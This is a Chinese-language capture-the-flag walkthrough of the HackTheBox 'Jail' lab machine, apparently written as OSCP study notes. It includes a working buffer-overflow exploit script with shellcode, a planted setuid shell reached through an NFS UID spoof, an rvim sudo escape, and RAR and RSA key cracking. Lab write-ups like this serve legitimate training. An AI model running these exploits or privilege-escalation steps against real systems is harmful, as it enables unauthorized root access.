1 扫描

看到常规的22,可能有ssh登录,80进web搜集信息,还有个nfs ,要想到showmount 以及mount -t nfs

2 http下的linux缓冲区溢出

在http里,dirbuster扫,看到jail这些文件。查看c源码,可以知道端口信息,以及账户名和密码,以及还有debug模式


下载下来,看就像缓冲区溢出。先测试哪里存在缓冲区溢出,command这里正常

C:\root> nc 10.10.10.34 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
OK Authentication success. Send command.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ERR Invalid command.
C:\root> 

输密码这里崩溃,这里存在

C:\root> nc 10.10.10.34 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
C:\root> 

配合debug模式,也可以看到输密码后会有buffer的跳转地址。

C:\root> nc 10.10.10.34 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaa
Debug: userpass buffer @ 0xffffd610
C:\root> nc 10.10.10.34 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Debug: userpass buffer @ 0xffffd610
C:\root> 

通过gdb调试,需要对着本机7411测,测崩溃点,很容易知道是28。

C:\root> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 62413961 -l 40
[*] Exact match at offset 28
C:\root> 

shellcode就用常态固定的https://www.exploit-db.com/exploits/34060/,省的还要测坏字符
return address是根据系统debug给我们的提示(ffffd610) + Offset (28) = ffffd638 这里也不是很懂,不过超纲了oscp的linux bof,且似乎考试只考win版。学有余力可以再研究吧。通过这个脚本就可以拿shell了,是nobody的shell

#!/usr/bin/env python
import socket, sys, telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.34', 7411))
print s.recv(1024)
s.send("DEBUG")
print s.recv(1024)
s.send("USER admin")
print s.recv(1024)
# https://www.exploit-db.com/exploits/34060/
# Linux/x86 - execve(/bin/sh) + Socket Re-Use Shellcode (50 bytes)
# Buffer address (ffffd610) + Offset (28) = ffffd638
payload = "A"*28 + "\x38\xd6\xff\xff" + "\x90"*10 + "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
s.send("PASS " + payload)
print s.recv(1024)
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()

3 提权之通过nfs从nobody到frank

拿到shell没什么发现,之前的nfs端口我们还没利用。

C:\root> showmount -e 10.10.10.34
Export list for 10.10.10.34:
/opt          *
/var/nfsshare *
C:\root>

自己要建好文件夹opt和var或者随便啥名,然后开始挂载。这里有个奇怪点,通过ls -la 看权限。opt是root的我看不了就算了,var怎么有个奇怪的kali。

C:\root\htb\nfs> mount -t nfs 10.10.10.34:/opt opt
C:\root\htb\nfs> mount -t nfs 10.10.10.34:/var/nfsshare var
C:\root\htb\nfs> ls -la
total 8
drwxr-xr-x 4 root root 4096 May  9 23:53 .
drwxr-xr-x 7 root root 4096 May  9 23:53 ..
drwxr-xr-x 4 root root   33 Jun 25  2017 opt
drwx-wx--x 2 root kali    6 Jul  3  2017 var
C:\root\htb\nfs> 

结合以前做的靶机vulnix,因为我用的是kali2020,所以uid gid 1000都是本机里kali这个用户,我有这个印象。也可以从passwd 和 group查到

kali:x:1000:1000:kali,,,:/home/kali:/bin/bash

我再从shell里看靶机是不是有1000的这个用户cat /etc/passwd | grep 1000,果然,是frank

C:\root\htb\jail> python bof.py
OK Ready. Send USER command.OK DEBUG mode on.OK Send PASS command.Debug: userpass buffer @ 0xffffd610python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.2$ cat /etc/passwd | grep 1000
cat /etc/passwd | grep 1000
frank:x:1000:1000:frank:/home/frank:/bin/bash
bash-4.2$

那就是和那个vlunix靶机大同小异了,我要在本机伪造个uid gid 1000的frank用户,方能nfs挂载他的内容,然后通过nfs里修改东西。vulnix是弄sshkey,这次换个方法,弄shell的c文件。

因为1000和kali重叠了。所以先把/etc/passwd 和 /etc/group 里kali的编号1000都改为1001。可能kali2018没这个问题。

再在本机新建frank用户

C:\root> useradd frank
C:\root> passwd frank
New password:
Retype new password:
passwd: password updated successfully
C:\root>

我把frank的id都改成1000

frank:x:1000:                                这是修改/etc/group
frank:x:1000:1000::/home/frank:/bin/bash     这是修改/etc/passwd

然后重新nfs,因为此时我切换成frank但我之前nfs挂载的都是以root身份运行的,保存在root文件目录,frank无权查看。所以要重新nfs挂到/home/frank下,或者其他frank有权看的目录。

弄完后。再在nfs挂载的文件夹里nano 新增给shell的c文件,内容在下面 ,最后编辑gcc setuid.c -o setuid 并赋予执行权chmod u+s setuid


C:\root> su frank
frank@kali:/root$ id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
frank@kali:/root$ cd /
frank@kali:/$ cd /home
frank@kali:/home$ ls
frank  impacket-master  kali  vulnix
frank@kali:/home$ cd frank/
frank@kali:~$ ls
varfrank@kali:~$ cd varfrank@kali:~/var$ nano setuid.c
Unable to create directory /home/frank/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.Press Enter to continuefrank@kali:~/var$
frank@kali:~/var$ gcc setuid.c -o setuidfrank@kali:~/var$ cat setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main ( int argc, char *argv[] )
{setreuid(1000, 1000);printf("ID: %d\n", geteuid());execve("/bin/sh", NULL, NULL);}
frank@kali:~/var$ chmod u+s setuid
frank@kali:~/var$ 

再从靶机里的shell,执行/var/nfsshare/setuid,也就是我们之前通过nfs挂载里新增的拿shell文件setuid

bash-4.2$ id
id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
bash-4.2$ /var/nfsshare/setuid
/var/nfsshare/setuid
ID: 1000
[frank@localhost nfsshare]$ id
id
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
[frank@localhost nfsshare]$

4 提权之从frank到adm

sudo -l 看一下,我们有什么可以执行和突破

[frank@localhost nfsshare]$ sudo -l
sudo -l
Matching Defaults entries for frank on this host:!visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAMEHISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANGLC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATIONLC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERICLC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS_XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/binUser frank may run the following commands on this host:(frank) NOPASSWD: /opt/logreader/logreader.sh(adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

frank的我们自己的,没啥用,而adm是另外个用户,按套路,是通过此拿到adm的shell,然后再进一步。

运行这个,sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c然后根据这个网站的内容可以利用并逃脱rvim编辑 拿shellhttps://github.com/vim/vim/issues/1543,也就就是输入:diffpatch $(sh <&2 >&2)

Press ENTER or type command to continue:diffpatch $(sh <&2 >&2)
sh-4.2$ ch $(sh <&2 >&2)                                                       166L, 4615Csh-4.2$
sh-4.2$ id
id
uid=3(adm) gid=4(adm) groups=4(adm) context=system_u:system_r:unconfined_service_t:s0
sh-4.2$
sh-4.2$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.2$

搞定。adm的目录并不在home下,而是在var下。。。

5 adm解密提权

进去后ls -la 查找隐藏文件,一个个进,一个个看

note.txt 发现密码提示,姓 + 4个数字 + 符号

cd adm
bash-4.2$ ls -la
ls -la
total 4
drwxr-x---.  3 root adm    19 Jul  3  2017 .
drwxr-xr-x. 23 root root 4096 May  9 18:03 ..
drwxr-x---.  3 root adm    52 Jul  3  2017 .keys
bash-4.2$ cd .keys
cd .keys
bash-4.2$ ls
ls
keys.rar  note.txt
bash-4.2$ cat note.txt
cat note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
bash-4.2$ ls -la

又发现.frank文件,一串密语,这些都超纲了

bash-4.2$ ls -la
ls -la
total 4
drwxr-x---. 2 root adm  20 Jul  3  2017 .
drwxr-x---. 3 root adm  52 Jul  3  2017 ..
-rw-r-----. 1 root adm 113 Jul  3  2017 .frank
bash-4.2$ cd .fr
cd .frank
bash: cd: .frank: Not a directory
bash-4.2$ cd .frank
cd .frank
bash: cd: .frank: Not a directory
bash-4.2$ cat .frank
cat .frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

拿去解https://quipqiup.com/,答案是1962年的逃脱监狱事件。 也和这个靶机名 jail 有关。这些西方人更了解。我怎么知道这些事。


又发现keys.rar,nc传不过来,可以用base64方式

bash-4.2$ base64 keys.rar
base64 keys.rar
UmFyIRoHAM+QcwAADQAAAAAAAAALnXQkhEAAgAEAAMMBAAAD7rRLW0tk40odMxgApIEAAHJvb3Rh
dXRob3JpemVkc3Noa2V5LnB1YnI+qg+QiYZnpO86O3+rX46ki9CMd7+qCC09p9xDL5gF8Wgwc7mZ
K9wkiTpvXO4vmmM50barFVJi55jD3l9J8var5iMCb8+Lrpn2e79rXFKzktBJ2e3/cSLUZRSv33cQ
Fk2+9b43PDDjUD6IQ6FVbjc72sy6/8bMu7k8MYtJWFRHsLTwIXi0ZMrd/vydVFq7vQiUPYbt7H0S
scXY4crEf9ann9iQyl6V034tluMZ9VQ6DmkXk53ekSbb3/Ck5/1hb9qj2RpBQUNTW70fQIbDXjcO
p+qKerl8cfpDdo7JDRZbmJBuYd5zgFEASKHrew3spqQ/gZrNO6m/VvI/ZUa6DTmqhguHYKC838c9
JzzDmW52daeuPMZtdTz2B0Enz5eBdV2XLbofx6ZA3nIYco6DJMvU9NxOfaLgnTj/JWRVAgUjoEgQ
UdcyWDEWoDYh+ARbAfG+qyqRhF8ujgUqYWNbXY8FxMsrTPdcWGz8348OZsMWH9NS5S8/KeIoGZU1
YhfpP/6so4ihWCnWxD17AEAHAA==

把这串base码保存到本机文本里,再反解base64 -d base64 > keys.rar
得到rar文件
但解压出来是要密码的,这应该就是之前说的那个密码提示了。之前我们已知密码4数字是1962。还有最后一个符号不知。

可以用crunch生成字典,然后rar2john keys.rar > jailhash转换成hash,最后john根据这个字典来解hashjohn --format=rar --wordlist=jail-wlist jailhash

C:\root\htb\jail> crunch 11 11 -o jail-wlist -f /usr/share/crunch/charset.lst symbols-all -t Morris1962@
Crunch will now generate the following amount of data: 384 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 32 crunch: 100% completed generating output
C:\root\htb\jail> rar2john keys.rar > jailhash
! file name: rootauthorizedsshkey.pub
C:\root\htb\jail> john --format=rar --wordlist=jail-wlist jailhash
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 128/128 AVX 4x AES])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Morris1962!      (keys.rar)
1g 0:00:00:00 DONE (2020-05-10 02:33) 8.333g/s 266.6p/s 266.6c/s 266.6C/s Morris1962!..Morris1962/
Use the "--show" option to display all of the cracked passwords reliably
Session completed
C:\root\htb\jail> 

知道密码了,提取文件出来
解出来的文件还是一个加了密的,用这个工具解https://github.com/Ganapati/RsaCtfTool
根据提示安装,以及环境搭建参考。最后能正常运行,却报killed解不出来。

最后我找了老版的https://github.com/Headorteil/RsaCtfTool
运行./RsaCtfTool.py --publickey /root/htb/jail/rootauthorizedsshkey.pub --private > /root/htb/jail/id_root 反而生成,然后ssh登录直接搞定。

hackthebox - jail (考点:linux缓冲区 nfs配置提权 rvim提权 rar解密 rsa解密)相关推荐

  1. Linux下NFS配置与tftp配置

    1. NFS配置 vi /etc/export 加入所需要共享目录.例如: /home/liukang/workship 192.168.1.0/24(rw,sync,no_root_squash,n ...

  2. Linux下NFS服务器的配置

      原文出处: http://linux.chinaunix.net/techdoc/net/2006/03/09/928740.shtml     类型:System V-launched Serv ...

  3. Linux下NFS(网络文件系统)的建立与配置方法

    网络文件系统( NFS ,Network File System)是一种将远程主机上的分区(目录)经网络挂载到本地系统的一种机制,通过对网络文件系统的支持,用户可以在本地系统上像操作本地分区一样来对远 ...

  4. 【Linux】NFS服务器搭建配置挂载

    一.服务端配置 1.创建目录 mkdir /app/nas 2.安装nfs.rpc [root@localhost ~]# yum install -y nfs-utils [root@localho ...

  5. 【渗透测试】Lin.Security靶机渗透练习_虚拟机无法获取ip的配置方法+靶机多种提权方式练习

    靶机描述:在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上.旨在帮 ...

  6. Linux 内核编译配置选项简介(转)

    Linux 内核编译配置选项简介 作者:金步国 版权声明 本文作者是一位自由软件爱好者,所以本文虽然不是软件,但是本着 GPL 的精神发布.任何人都可以自由使用.转载.复制和再分发,但必须保留作者署名 ...

  7. Linux文件服务器的配置

    一.Samba简介 给Windows客户提供文件服务是通过samba实现的,凡架设过MS Windows网络的人都知道MS Windows网络的核心是SMB/CIFS,而samba也是一套基于UNIX ...

  8. Linux安装NFS

    Linux安装NFS 一.检测 检查本地是否已经安装nfs服务 rpm -qa | grep nfs-utils rpm -qa | grep rpcbind 出现以下标识说明已经安装 [melonr ...

  9. 【realtime】红帽 RedHat Linux实时内核配置要点全面分析

    CentOS Linux实时性配置要点 rtoax 2021年2月 1. 概要 1.1. 实时性补丁 补丁地址:CentOS 7 - RealTime for x86_64: RealTime: ke ...

  10. linux服务器基线配置

    linux服务器基线配置 账号 1 为不同用户创建不同账号: #useradd username #创建账号 #passwd username #设置密码 #chmod 750 directory # ...

最新文章

  1. JavaScript Tween算法及缓动效果
  2. linux中DHCP的配置
  3. coreldraw水涟漪怎么做_曹晓岚:水公园的主题文化营销怎么做?
  4. arm linux读cpu id,基于ARM架构的芯片获取CPU信息(cpuID)的多种方法
  5. tab使用 TabActivity TabHost Tabspec常用方法
  6. Booster 系列之——多线程优化
  7. Failed to create the part's controls [eclipse]
  8. ios cannot use “@throw“ with objective-c exceptions disabled 问题解决方案
  9. 《你的灯亮着吗》第一遍读后感
  10. FC SAN - 光纤通道存储区域网络
  11. 渗透之——Metasploit自定义FTP扫描模块
  12. python格式化输出函数之format
  13. 安卓机调用 audio.play()时 报错:API can only be initiated by a user gesture
  14. SAP BDC的应用
  15. gala米兰达斯(Mirandus)游戏介绍
  16. elasticsearch从入门到入门系列(二)---快速入门A
  17. 正则表达式的一些重要知识
  18. java实现hj协议_HJ212协议java 实现 封装好的环保212协议代码 - 下载 - 搜珍网
  19. 【转】科普知识普及 - 桥接VS中继
  20. Ibatis读写CLOB数据

热门文章

  1. clang-format代码格式化风格选项详细说明
  2. eth入门之web2 与 web3 的对比
  3. mathpix安装和使用详细教程
  4. 【Professional English】Words Summary
  5. QEMU同步脏页原理
  6. 2020中国隧道与地下工程大会(CTUC)暨中国土木工程学会隧道及地下工程分会第二十一届年会
  7. 怎么关闭vivo系统自检_MIUI11系统已发布,你怎么能不会这个一键关闭广告的功能呢!...
  8. 【无需卸载,丝滑关闭奇安信天擎开机自启动(步骤超简单)】
  9. iptables防火墙规则
  10. android引用aar中的字体,android.mk引用aar